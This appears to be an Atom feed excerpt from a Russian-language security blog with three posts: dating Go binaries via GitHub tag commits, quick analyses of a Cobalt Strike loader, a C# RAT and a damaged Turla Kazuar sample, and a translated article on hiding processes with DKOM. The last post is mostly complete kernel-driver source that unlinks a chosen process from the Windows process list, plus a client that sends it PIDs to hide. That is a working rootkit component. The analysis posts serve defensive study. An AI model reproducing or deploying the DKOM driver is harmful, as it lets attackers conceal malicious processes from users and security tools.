Так как не все репозитории зависимостей имеют релизы, а только тэги, используется метод <a href="https://docs.github.com/en/rest/git/tags#get-a-tag"><code class="language-plaintext highlighter-rouge">ListTags</code></a>. <code class="language-plaintext highlighter-rouge">owner</code> и <code class="language-plaintext highlighter-rouge">repo</code> в данном случае будут значения - <code class="language-plaintext highlighter-rouge">tklauser</code> и <code class="language-plaintext highlighter-rouge">go-sysconf</code></p>

<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">tags</span><span class="p">,</span> <span class="n">resp</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">client</span><span class="o">.</span><span class="n">Repositories</span><span class="o">.</span><span class="n">ListTags</span><span class="p">(</span><span class="n">context</span><span class="o">.</span><span class="n">Background</span><span class="p">(),</span> <span class="n">owner</span><span class="p">,</span> <span class="n">repo</span><span class="p">,</span> <span class="no">nil</span><span class="p">)</span>
</code></pre></div></div>

<p>Мы получим данные о каждом тэге (релизе)</p>

<p><img src="/assets/images/golang_timestamp/1.png" alt="" /></p>

<p>У тэга есть поле <code class="language-plaintext highlighter-rouge">commit</code> с полем <code class="language-plaintext highlighter-rouge">SHA</code>.  Используя Github Commit API мы получаем информацию о коммите</p>

<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">commit</span><span class="p">,</span> <span class="n">resp</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">client</span><span class="o">.</span><span class="n">Repositories</span><span class="o">.</span><span class="n">GetCommit</span><span class="p">(</span><span class="n">context</span><span class="o">.</span><span class="n">Background</span><span class="p">(),</span> <span class="n">owner</span><span class="p">,</span> <span class="n">repo</span><span class="p">,</span> <span class="n">sha</span><span class="p">,</span> <span class="no">nil</span><span class="p">)</span>
</code></pre></div></div>
<p>В ответе будет дата коммита.</p>

<p><img src="/assets/images/golang_timestamp/2.png" alt="" /></p>

<p>Теперь у нас есть даты конкретных релизов конкретной зависимости. Из этих дат находим самую позднюю, она и будет примерным (минимальным) timestamp образца:</p>

<p><img src="/assets/images/golang_timestamp/3.png" alt="" /></p>

<p><a href="https://github.com/thatskriptkid/chrononz"><strong>Исходный код</strong></a></p>]]></content><author><name></name></author><category term="[&quot;ru&quot;]" /><category term="linux" /><category term="malware analysis" /><summary type="html"><![CDATA[Вступление]]></summary></entry><entry><title type="html">ExpressБайтоебство_0</title><link href="https://orderofsixangles.com/ru/2022/02/03/express-byte-0.html" rel="alternate" type="text/html" title="ExpressБайтоебство_0" /><published>2022-02-03T00:00:00+00:00</published><updated>2022-02-03T00:00:00+00:00</updated><id>https://orderofsixangles.com/ru/2022/02/03/express-byte-0</id><content type="html" xml:base="https://orderofsixangles.com/ru/2022/02/03/express-byte-0.html"><![CDATA[<p><em>Быстрый рассказ о хламе, что скапливается в голове</em></p>

<h1 id="0">0</h1>

<p>Увидел <a href="https://twitter.com/ShadowChasing1/status/1494470323063779353">твит</a></p>

<p><img src="/assets/images/ru/express_0/twit.png" alt="" /></p>

<p>Стало интересно, малварь для турков, на момент просмотра было всего 5 детектов на <a href="https://www.virustotal.com/gui/file/6ee1e629494d7b5138386d98bd718b010ee774fe4a4c9d0e069525408bb7b1f7/detection">вт</a>. Почему так мало? (когда сделал скрин, стало уже 10)</p>

<p><img src="/assets/images/ru/express_0/vs.png" alt="" /></p>

<p>В письме присылался ISO файл, внутри lnk и DLL. ISO обычно используется для избегания детектирования. lnk вызывает функцию DeleteDateConnectionPosition в DLL. Анализирую DLLы я так -</p>
<ol>
  <li>Копирую в папку саму длл и файл rundll32.exe</li>
  <li>В x64dbg в commandline прописываю <code class="language-plaintext highlighter-rouge">"D:\rundll32.exe" D:\\malware.dll,DeleteDateConnectionPosition</code></li>
  <li>В preference ставлю галочку Dll Entry (чтобы словить нашу длл)</li>
  <li>Кликаю F9, пока не подгрузится наша длл</li>
  <li>Как подгрузилась, ставлю брейкпоинт на нужную функцию</li>
</ol>

<p>на первый взгляд все выглядело очень мутно, куча неочевидных действий, но есть VirtualAlloc. VirtualAlloc обычно используется для распаковки в выделенную память чегото</p>

<p><img src="/assets/images/ru/express_0/imports.png" alt="" /></p>

<p>выявился одинаковый повторяющийся паттерн through бинарник, который очень похож на декодирование чегото</p>

<p><img src="/assets/images/ru/express_0/decode_logic.png" alt="" /></p>

<p>mov-хуюв, чтото кудато перекладывается, мне было неважно, меня привлек VirtualAlloc, стало понятно, что чтото декодируется, а потом исполняется поэтому решено было тупо промотать все до прямого вызова адреса в памяти (типа call MEMORY_ADDR). И яего нашел</p>

<p><img src="/assets/images/ru/express_0/call_rax.png" alt="" /></p>

<p>Декодированые инструкции выглядили вот так</p>

<p><img src="/assets/images/ru/express_0/decoded_instructions.png" alt="" /></p>

<p>Чуть продебажил и увидел в памяти что-то похожее на PE</p>

<p><img src="/assets/images/ru/express_0/pe.png" alt="" /></p>

<p>Хэдер у него правда MZARUH, бросающийся в глаза. Это слово попадается в <a href="https://github.com/avast/ioc/blob/master/CobaltStrike/yara_rules/cs_rules.yar">yara правиле</a> от avast, под именем <code class="language-plaintext highlighter-rouge">cobaltstrike_beacon_encoded</code>. Остановившись в дебагере запустил <a href="https://github.com/hasherezade/hollows_hunter">hollows_hunter</a>, дампнул этот PE, посмотрел свойства, намеков на cobaltstrike стало больше, да и ребята подтвердили</p>

<p><img src="/assets/images/ru/express_0/cs.png" alt="" /></p>

<h1 id="1">1</h1>

<p>Увидел <a href="https://twitter.com/RedDrip7/status/1493905786354892801">твит</a>.</p>

<p><img src="/assets/images/ru/express_0/twit2.png" alt="" /></p>

<p><a href="https://www.virustotal.com/gui/file/a4afaa41383f447d96d0ebb1e2e50721af080e951d40754a836215fb2c3f0660/detection">2 детекта</a>. MSI. Распаковываем его любым способом из интернета, получаем mtSilverclient.exe. Это C#. Коннектится к snapsvcvirtual[.]net (0 детектов вт). Очень подозрительно.</p>

<p>Мимикрирует под silverlight прогу</p>

<p><img src="/assets/images/ru/express_0/silver.png" alt="" /></p>

<p>Код разбит по тематическим неймспейсам, например hibiscus.contention занимается связью с С2. HelpMeOut - отправка/прием данных, которые кодируются ксором</p>

<p><img src="/assets/images/ru/express_0/helpme.png" alt="" /></p>

<p>ProcessHelp класс может рассказать обо всем функционале малвари</p>

<p><img src="/assets/images/ru/express_0/processHelp.png" alt="" /></p>

<p>Выполнение комманд происходит так, создает пайпы для powershell, и тупо работает через него.</p>

<p><img src="/assets/images/ru/express_0/pipes.png" alt="" /></p>

<p>интересно, почему так мало детектов? Я думаю потому что</p>
<ol>
  <li>По сути делает 1 коннект к “безобидному” домену и ждет</li>
  <li>Запакован в MSI</li>
</ol>

<h1 id="2">2</h1>

<p><img src="/assets/images/ru/express_0/2_twit.png" alt="" /></p>

<p>Строки лежат в чистом виде, коннектится к следующим адресам</p>

<p><img src="/assets/images/ru/express_0/url.png" alt="" /></p>

<p>и скачивает файл в</p>

<p><img src="/assets/images/ru/express_0/2_open_file.png" alt="" /></p>

<p>Получается просто downloader</p>

<h1 id="3">3</h1>

<p><img src="/assets/images/ru/express_0/turla/3.png" alt="" /></p>

<p>https://twitter.com/BaoshengbinCumt/status/1495578841544531968</p>

<p>Турла. Детектируется как Kazuar, по следующим yara правилам (<a href="https://github.com/Neo23x0/signature-base">1</a>, <a href="https://github.com/intezer/yara-rules">2</a>) - <code class="language-plaintext highlighter-rouge">APT_MAL_RU_Turla_Kazuar_May20_1</code>, <code class="language-plaintext highlighter-rouge">Kazuar</code>. Как известно, казуар - это .NET RAT.</p>

<p>сэндбоксы, windows loader, парсеры проанализровать файл не могут</p>

<p><img src="/assets/images/ru/express_0/turla/4.png" alt="" /></p>

<p>Раз так, откроем его в хекс редакторе, посмотрим глазами. Мы увидим, что один файл содержит внутри себя как минимум три PE (судя по хэдеру)</p>

<p><img src="/assets/images/ru/express_0/turla/5.png" alt="" /></p>

<p>Разделим файл руками на 3 части, каждая будет являться PE файлом. Первый, невалидный, его не может загрузить windows loader и парсеры ругаются.</p>

<p><img src="/assets/images/ru/express_0/turla/7.png" alt="" /></p>

<p>Дальше начал читать что пишет <a href="https://www.red-gate.com/simple-talk/blogs/anatomy-of-a-net-assembly-pe-headers/">чувак</a> по поводу структуры .NET файлов, так как они очевидно отличаются от стандартной PE. Отличаются например тем, что у .NET файлов всего 3 секции и таблица импортов и тд лежит в секции text.text вообще содержит всю CLR метадату.</p>

<p><img src="/assets/images/ru/express_0/turla/8.png" alt="" /></p>

<p>PEbear с недавних пор понимает .NET файлы. У нашего файла он пустой</p>

<p><img src="/assets/images/ru/express_0/turla/9.png" alt="" /></p>

<p>Короче я решил начать с того, чтобы восстановить CLI header (заголовок, описывающий .NET файл). Смотрите, секция .text валидного .NET файла должна начинаться по оффсету 0x200, и с 0x208 начинается CLI header. Я взял рандомный валидный .net файл, и сравнил с нашим казуартом</p>

<p><img src="/assets/images/ru/express_0/turla/10.png" alt="" /></p>

<p>стало очевидно, что здесь вставлен огромный блоб заполненый нулям, нахрена он нужен, я незнаю, так как он рушит всю структуру и тут не нужен. Зная, что каждый cli header должен начинаться с байт 0x48 (его размер) 0x2 (константа) 0x5 (константа), сделал поиск по этим байтам дальше по файлу. Байты были найдену по смещению 0x2008, то есть файл был испорчен (хрен пойми кем и как) блобом заполненым нулями размером 0x1e00</p>

<p><img src="/assets/images/ru/express_0/turla/11.png" alt="" /></p>

<p>Вырезаем этот блоб из файла. Почему он именно длиной 0x1e00? Если мы посмотрим на raw и virtualaddress секции text, то его разница как раз будет равняться 1e00</p>

<p><img src="/assets/images/ru/express_0/turla/12.png" alt="" /></p>

<p>Теперь сравним валидный и нашего бедолагу в dnspy</p>

<p><img src="/assets/images/ru/express_0/turla/13.png" alt="" /></p>

<p>Как видно, у нас все еще не определяются потоки и даже подпись. Потоки находятся в Metadata. Metadata RVA прописан в .NET header. Metadata header должен начинаться с константы 0x424a5342. В нашем файле сейчас 0x369A0. Что мы делаем? Мы ищем в нашем файле константу 0x424a5342 и подгоняем RVA так, чтобы он начинался с этой константы. Он становится равным - OriginalMetadata.VA - 0x1e00</p>

<p><img src="/assets/images/ru/express_0/turla/15.png" alt="" /></p>

<p>У нас определились потоки и даже типы (правда коряво)</p>

<p><img src="/assets/images/ru/express_0/turla/16.png" alt="" /></p>

<p>Теперь посмотрим на таблицу импортов.</p>

<p><img src="/assets/images/ru/express_0/turla/17.png" alt="" /></p>

<p>У .NET должен быть 1 импорт с 1 функцией, выставляем правильно соответствующие оффсеты и получаем</p>

<p><img src="/assets/images/ru/express_0/turla/18.png" alt="" /></p>

<p>entry point должен указывать на начало loader stub, который представлен байтами FF 25 00 20 40 00 или по другому jmp 0x402000. Это jump на CorExe библиотеки mscoree. Поэтому ищем эти байты у себя в файле, высчитываем RVA и заменяем.</p>

<p><img src="/assets/images/ru/express_0/turla/19.png" alt="" /></p>

<p>по крайней мере теперь он запускается. И падает, что естественно</p>

<p><img src="/assets/images/ru/express_0/turla/20.png" alt="" /></p>

<p>а естественно, потому что .net runtime по всей видимости не может найти код и метаданные кода (MethodDef, TypeDef, …). Мне еще удалось восстановить .reloc и .rsrc секции, но ирония в том, что они для нормальной работы не нужны. Точнее, их повреждение не мешает работе. .reloc секция всегда содержит 1 запись, это собственно говоря релокация адреса входа в функцию CorExe. Ну а в ресурсах обычно лежат два entity - ID и манифест. Попытки дальнейшего восстановления дали понять, что вручную это практически невозможно и я забил.</p>

<p>Несмотря на поврежденную структуру мы все еще может судить о функционале по видимым строкам в бинарнике. Как минимум таким функционалом обладает данный образец:</p>

<ol>
  <li>Использование шифрования (симметричное и RSA)</li>
  <li>WMI запросы</li>
  <li>Работа с сетью (прокси, HTTPS)</li>
  <li>Process Injection/DLL injection (скорее всего для инжекта DLL в Explorer.exe)</li>
  <li>Работа с реестром</li>
  <li>Работа  с файловой системой</li>
  <li>работа с XML</li>
</ol>

<p>Внутри, бинарник содержит две DLL x86/x64. Они содержат метод проверки, заинжекчены ли они в Explorer.exe (Инжект в Explorer.exe является одним из <a href="https://unit42.paloaltonetworks.com/unit42-kazuar-multiplatform-espionage-backdoor-api-access/">известных</a> индикаторов Turla Kazuar .NET)</p>

<p><img src="/assets/images/ru/express_0/turla/21.png" alt="" /></p>

<p>Очень интересная деталь, под конец, я нашел, что бинарник содержит строку <code class="language-plaintext highlighter-rouge">E73DCA6A8E53934C77A0BB669FDC383A20925866</code> - SHA1 хэш <a href="https://www.virustotal.com/gui/file/ae0e99f574dcecf015d10d5209dd80c6b1b63101a65497a83c041d69a4182220/details">известного образца</a> турлы казуар, который был загружен на ВТ	2020-05-15. То есть, этот образец использует старые и известные пейлоды</p>

<p><img src="/assets/images/ru/express_0/turla/22.png" alt="" /></p>

<p>Вывод - в целом, несмотря на то, что неудалось восстановить образец до работоспособного состояния, по сумме признаков можно сделать вывод о совпадении публично описанного функционала с имеющимся.</p>]]></content><author><name></name></author><category term="[&quot;ru&quot;]" /><category term="windows" /><summary type="html"><![CDATA[Быстрый рассказ о хламе, что скапливается в голове]]></summary></entry><entry><title type="html">Сокрытие процесса с помощью DKOM</title><link href="https://orderofsixangles.com/translations/2021/06/13/dkom-hide-proc.html" rel="alternate" type="text/html" title="Сокрытие процесса с помощью DKOM" /><published>2021-06-13T00:00:00+00:00</published><updated>2021-06-13T00:00:00+00:00</updated><id>https://orderofsixangles.com/translations/2021/06/13/dkom-hide-proc</id><content type="html" xml:base="https://orderofsixangles.com/translations/2021/06/13/dkom-hide-proc.html"><![CDATA[<p>DKOM - это техника, используемая некоторыми ядерными руткитами для сокрытия запущенного процесса. 
При сокрытии процесса, используя DKOM, руткит изменяет поля Flink и Blink у ActiveProcessLinks в структуре EPROCESS. 
Чтобы получить доступ к полям ActiveProcessLinks, руткит должен знать его смещение. 
Проблема заключается в том, что смещение ActiveProcessLinks в EPROCESS различается для каждой версии Windows, 
и руткиту необходимо хардкодить смещения и определять версию системы при скрытии процессов.</p>

<p>Однако, я нашел решение этой проблемы. 
После некоторых поисков в интернете, я обнаружил, что поле ActiveProcessLinks всегда находится рядом с полем UniqueProcessId структуры EPROCESS. 
Благодаря этому, мы можем найти расположение ActiveProcessLinks, найдя PID в структуре EPROCESS, таким образом, избегая жестко закодированных смещений.</p>

<p>Следующий драйвер скрывает процессы, используя DKOM, без хардкодинга смещений.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;ntifs.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;ntddk.h&gt;</span><span class="cp">
</span> 
<span class="n">UNICODE_STRING</span> <span class="n">DeviceName</span><span class="o">=</span><span class="n">RTL_CONSTANT_STRING</span><span class="p">(</span><span class="s">L"</span><span class="se">\\</span><span class="s">Device</span><span class="se">\\</span><span class="s">DKOM_Driver"</span><span class="p">),</span><span class="n">SymbolicLink</span><span class="o">=</span><span class="n">RTL_CONSTANT_STRING</span><span class="p">(</span><span class="s">L"</span><span class="se">\\</span><span class="s">DosDevices</span><span class="se">\\</span><span class="s">DKOM_Driver"</span><span class="p">);</span>
<span class="n">PDEVICE_OBJECT</span> <span class="n">pDeviceObject</span><span class="p">;</span>
 
<span class="kt">void</span> <span class="nf">Unload</span><span class="p">(</span><span class="n">PDRIVER_OBJECT</span> <span class="n">pDriverObject</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">IoDeleteSymbolicLink</span><span class="p">(</span><span class="o">&amp;</span><span class="n">SymbolicLink</span><span class="p">);</span>
    <span class="n">IoDeleteDevice</span><span class="p">(</span><span class="n">pDriverObject</span><span class="o">-&gt;</span><span class="n">DeviceObject</span><span class="p">);</span>
<span class="p">}</span>
 
<span class="n">NTSTATUS</span> <span class="n">DriverDispatch</span><span class="p">(</span><span class="n">PDEVICE_OBJECT</span> <span class="n">DeviceObject</span><span class="p">,</span><span class="n">PIRP</span> <span class="n">irp</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">PIO_STACK_LOCATION</span> <span class="n">io</span><span class="p">;</span>
    <span class="n">PVOID</span> <span class="n">buffer</span><span class="p">;</span>
    <span class="n">PEPROCESS</span> <span class="n">Process</span><span class="p">;</span>
 
    <span class="n">PULONG</span> <span class="n">ptr</span><span class="p">;</span>
    <span class="n">PLIST_ENTRY</span> <span class="n">PrevListEntry</span><span class="p">,</span><span class="n">CurrListEntry</span><span class="p">,</span><span class="n">NextListEntry</span><span class="p">;</span>
 
    <span class="n">NTSTATUS</span> <span class="n">status</span><span class="p">;</span>
    <span class="n">ULONG</span> <span class="n">i</span><span class="p">,</span><span class="n">offset</span><span class="p">;</span>
 
    <span class="n">io</span><span class="o">=</span><span class="n">IoGetCurrentIrpStackLocation</span><span class="p">(</span><span class="n">irp</span><span class="p">);</span>
    <span class="n">irp</span><span class="o">-&gt;</span><span class="n">IoStatus</span><span class="p">.</span><span class="n">Information</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
    <span class="n">offset</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
 
    <span class="k">switch</span><span class="p">(</span><span class="n">io</span><span class="o">-&gt;</span><span class="n">MajorFunction</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="k">case</span> <span class="n">IRP_MJ_CREATE</span><span class="p">:</span>
            <span class="n">status</span><span class="o">=</span><span class="n">STATUS_SUCCESS</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="k">case</span> <span class="n">IRP_MJ_CLOSE</span><span class="p">:</span>
            <span class="n">status</span><span class="o">=</span><span class="n">STATUS_SUCCESS</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="k">case</span> <span class="n">IRP_MJ_READ</span><span class="p">:</span>
            <span class="n">status</span><span class="o">=</span><span class="n">STATUS_SUCCESS</span><span class="p">;</span>
        <span class="k">case</span> <span class="n">IRP_MJ_WRITE</span><span class="p">:</span>
 
            <span class="n">buffer</span><span class="o">=</span><span class="n">MmGetSystemAddressForMdlSafe</span><span class="p">(</span><span class="n">irp</span><span class="o">-&gt;</span><span class="n">MdlAddress</span><span class="p">,</span><span class="n">NormalPagePriority</span><span class="p">);</span>
 
            <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">buffer</span><span class="p">)</span>
            <span class="p">{</span>
                <span class="n">status</span><span class="o">=</span><span class="n">STATUS_INSUFFICIENT_RESOURCES</span><span class="p">;</span>
                <span class="k">break</span><span class="p">;</span>
            <span class="p">}</span>
 
            <span class="n">DbgPrint</span><span class="p">(</span><span class="s">"Process ID: %d"</span><span class="p">,</span><span class="o">*</span><span class="p">(</span><span class="n">PHANDLE</span><span class="p">)</span><span class="n">buffer</span><span class="p">);</span>
 
            <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">NT_SUCCESS</span><span class="p">(</span><span class="n">status</span><span class="o">=</span><span class="n">PsLookupProcessByProcessId</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">PHANDLE</span><span class="p">)</span><span class="n">buffer</span><span class="p">,</span><span class="o">&amp;</span><span class="n">Process</span><span class="p">)))</span>
            <span class="p">{</span>
                <span class="n">DbgPrint</span><span class="p">(</span><span class="s">"Error: Unable to open process object (%#x)"</span><span class="p">,</span><span class="n">status</span><span class="p">);</span>
                <span class="k">break</span><span class="p">;</span>
            <span class="p">}</span>
 
            <span class="n">DbgPrint</span><span class="p">(</span><span class="s">"EPROCESS address: %#x"</span><span class="p">,</span><span class="n">Process</span><span class="p">);</span>
            <span class="n">ptr</span><span class="o">=</span><span class="p">(</span><span class="n">PULONG</span><span class="p">)</span><span class="n">Process</span><span class="p">;</span>
 
            <span class="c1">// Сканируем структуру EPROCESS, для нахождения PID</span>
 
            <span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o">&lt;</span><span class="mi">512</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">)</span>
            <span class="p">{</span>
                <span class="k">if</span><span class="p">(</span><span class="n">ptr</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">==*</span><span class="p">(</span><span class="n">PULONG</span><span class="p">)</span><span class="n">buffer</span><span class="p">)</span>
                <span class="p">{</span>
                    <span class="n">offset</span><span class="o">=</span><span class="p">(</span><span class="n">ULONG</span><span class="p">)</span><span class="o">&amp;</span><span class="n">ptr</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span><span class="o">-</span><span class="p">(</span><span class="n">ULONG</span><span class="p">)</span><span class="n">Process</span><span class="p">;</span> <span class="c1">// ActiveProcessLinks находится рядом с PID</span>
 
                    <span class="n">DbgPrint</span><span class="p">(</span><span class="s">"ActiveProcessLinks offset: %#x"</span><span class="p">,</span><span class="n">offset</span><span class="p">);</span>
                    <span class="k">break</span><span class="p">;</span>
                <span class="p">}</span>
            <span class="p">}</span>
 
            <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">offset</span><span class="p">)</span>
            <span class="p">{</span>
                <span class="n">status</span><span class="o">=</span><span class="n">STATUS_UNSUCCESSFUL</span><span class="p">;</span>
                <span class="k">break</span><span class="p">;</span>
            <span class="p">}</span>
 
            <span class="n">CurrListEntry</span><span class="o">=</span><span class="p">(</span><span class="n">PLIST_ENTRY</span><span class="p">)((</span><span class="n">PUCHAR</span><span class="p">)</span><span class="n">Process</span><span class="o">+</span><span class="n">offset</span><span class="p">);</span> <span class="c1">// Получаем адрес ActiveProcessLinks</span>
 
            <span class="n">PrevListEntry</span><span class="o">=</span><span class="n">CurrListEntry</span><span class="o">-&gt;</span><span class="n">Blink</span><span class="p">;</span>
            <span class="n">NextListEntry</span><span class="o">=</span><span class="n">CurrListEntry</span><span class="o">-&gt;</span><span class="n">Flink</span><span class="p">;</span>
 
            <span class="c1">// Удаляем целевой процесс из списка процессов</span>
            <span class="n">PrevListEntry</span><span class="o">-&gt;</span><span class="n">Flink</span><span class="o">=</span><span class="n">CurrListEntry</span><span class="o">-&gt;</span><span class="n">Flink</span><span class="p">;</span>
            <span class="n">NextListEntry</span><span class="o">-&gt;</span><span class="n">Blink</span><span class="o">=</span><span class="n">CurrListEntry</span><span class="o">-&gt;</span><span class="n">Blink</span><span class="p">;</span>
 
            <span class="c1">// Указываем поля Flink и Blink на себя</span>
 
            <span class="n">CurrListEntry</span><span class="o">-&gt;</span><span class="n">Flink</span><span class="o">=</span><span class="n">CurrListEntry</span><span class="p">;</span>
            <span class="n">CurrListEntry</span><span class="o">-&gt;</span><span class="n">Blink</span><span class="o">=</span><span class="n">CurrListEntry</span><span class="p">;</span>
 
            <span class="n">ObDereferenceObject</span><span class="p">(</span><span class="n">Process</span><span class="p">);</span> <span class="c1">// Освобождаем целевой процесс</span>
 
            <span class="n">status</span><span class="o">=</span><span class="n">STATUS_SUCCESS</span><span class="p">;</span>
            <span class="n">irp</span><span class="o">-&gt;</span><span class="n">IoStatus</span><span class="p">.</span><span class="n">Information</span><span class="o">=</span><span class="k">sizeof</span><span class="p">(</span><span class="n">HANDLE</span><span class="p">);</span>
 
            <span class="k">break</span><span class="p">;</span>
 
        <span class="nl">default:</span>
            <span class="n">status</span><span class="o">=</span><span class="n">STATUS_INVALID_DEVICE_REQUEST</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
    <span class="p">}</span>
 
    <span class="n">irp</span><span class="o">-&gt;</span><span class="n">IoStatus</span><span class="p">.</span><span class="n">Status</span><span class="o">=</span><span class="n">status</span><span class="p">;</span>
 
    <span class="n">IoCompleteRequest</span><span class="p">(</span><span class="n">irp</span><span class="p">,</span><span class="n">IO_NO_INCREMENT</span><span class="p">);</span>
    <span class="k">return</span> <span class="n">status</span><span class="p">;</span>
<span class="p">}</span>
 
<span class="n">NTSTATUS</span> <span class="n">DriverEntry</span><span class="p">(</span><span class="n">PDRIVER_OBJECT</span> <span class="n">pDriverObject</span><span class="p">,</span><span class="n">PUNICODE_STRING</span> <span class="n">pRegistryPath</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">ULONG</span> <span class="n">i</span><span class="p">;</span>
     
    <span class="n">IoCreateDevice</span><span class="p">(</span><span class="n">pDriverObject</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="o">&amp;</span><span class="n">DeviceName</span><span class="p">,</span><span class="n">FILE_DEVICE_UNKNOWN</span><span class="p">,</span><span class="n">FILE_DEVICE_SECURE_OPEN</span><span class="p">,</span><span class="n">FALSE</span><span class="p">,</span><span class="o">&amp;</span><span class="n">pDeviceObject</span><span class="p">);</span>
    <span class="n">IoCreateSymbolicLink</span><span class="p">(</span><span class="o">&amp;</span><span class="n">SymbolicLink</span><span class="p">,</span><span class="o">&amp;</span><span class="n">DeviceName</span><span class="p">);</span>
 
    <span class="n">pDriverObject</span><span class="o">-&gt;</span><span class="n">DriverUnload</span><span class="o">=</span><span class="n">Unload</span><span class="p">;</span>
 
    <span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o">&lt;</span><span class="n">IRP_MJ_MAXIMUM_FUNCTION</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="n">pDriverObject</span><span class="o">-&gt;</span><span class="n">MajorFunction</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">=</span><span class="n">DriverDispatch</span><span class="p">;</span>
    <span class="p">}</span>
 
    <span class="n">pDeviceObject</span><span class="o">-&gt;</span><span class="n">Flags</span><span class="o">&amp;=~</span><span class="n">DO_DEVICE_INITIALIZING</span><span class="p">;</span>
    <span class="n">pDeviceObject</span><span class="o">-&gt;</span><span class="n">Flags</span><span class="o">|=</span><span class="n">DO_DIRECT_IO</span><span class="p">;</span>
 
    <span class="k">return</span> <span class="n">STATUS_SUCCESS</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Следующее юзермод приложение используется для управления драйвером</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
</span> 
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
    <span class="n">HANDLE</span> <span class="n">hFile</span><span class="p">;</span>
    <span class="n">DWORD</span> <span class="n">ProcessId</span><span class="p">,</span><span class="n">write</span><span class="p">;</span>
 
    <span class="n">hFile</span><span class="o">=</span><span class="n">CreateFile</span><span class="p">(</span><span class="s">"</span><span class="se">\\\\</span><span class="s">.</span><span class="se">\\</span><span class="s">DKOM_Driver"</span><span class="p">,</span><span class="n">GENERIC_WRITE</span><span class="p">,</span><span class="n">FILE_SHARE_READ</span><span class="o">|</span><span class="n">FILE_SHARE_WRITE</span><span class="p">,</span><span class="nb">NULL</span><span class="p">,</span><span class="n">OPEN_EXISTING</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="nb">NULL</span><span class="p">);</span>
 
    <span class="k">if</span><span class="p">(</span><span class="n">hFile</span><span class="o">==</span><span class="n">INVALID_HANDLE_VALUE</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"Error: Unable to connect to the driver (%d)</span><span class="se">\n</span><span class="s">Make sure the driver is loaded."</span><span class="p">,</span><span class="n">GetLastError</span><span class="p">());</span>
        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
 
    <span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">Enter PID: "</span><span class="p">);</span>
        <span class="n">scanf</span><span class="p">(</span><span class="s">"%d"</span><span class="p">,</span><span class="o">&amp;</span><span class="n">ProcessId</span><span class="p">);</span>
 
        <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">WriteFile</span><span class="p">(</span><span class="n">hFile</span><span class="p">,</span><span class="o">&amp;</span><span class="n">ProcessId</span><span class="p">,</span><span class="k">sizeof</span><span class="p">(</span><span class="n">DWORD</span><span class="p">),</span><span class="o">&amp;</span><span class="n">write</span><span class="p">,</span><span class="nb">NULL</span><span class="p">))</span>
        <span class="p">{</span>
            <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">Error: Unable to hide process (%d)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">GetLastError</span><span class="p">());</span>
        <span class="p">}</span>
 
        <span class="k">else</span>
        <span class="p">{</span>
            <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">Process successfully hidden.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
        <span class="p">}</span>
    <span class="p">}</span>
 
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>]]></content><author><name></name></author><category term="[&quot;translations&quot;]" /><category term="windows" /><category term="malware" /><summary type="html"><![CDATA[DKOM - это техника, используемая некоторыми ядерными руткитами для сокрытия запущенного процесса. При сокрытии процесса, используя DKOM, руткит изменяет поля Flink и Blink у ActiveProcessLinks в структуре EPROCESS. Чтобы получить доступ к полям ActiveProcessLinks, руткит должен знать его смещение. Проблема заключается в том, что смещение ActiveProcessLinks в EPROCESS различается для каждой версии Windows, и руткиту необходимо хардкодить смещения и определять версию системы при скрытии процессов.]]></summary></entry></feed>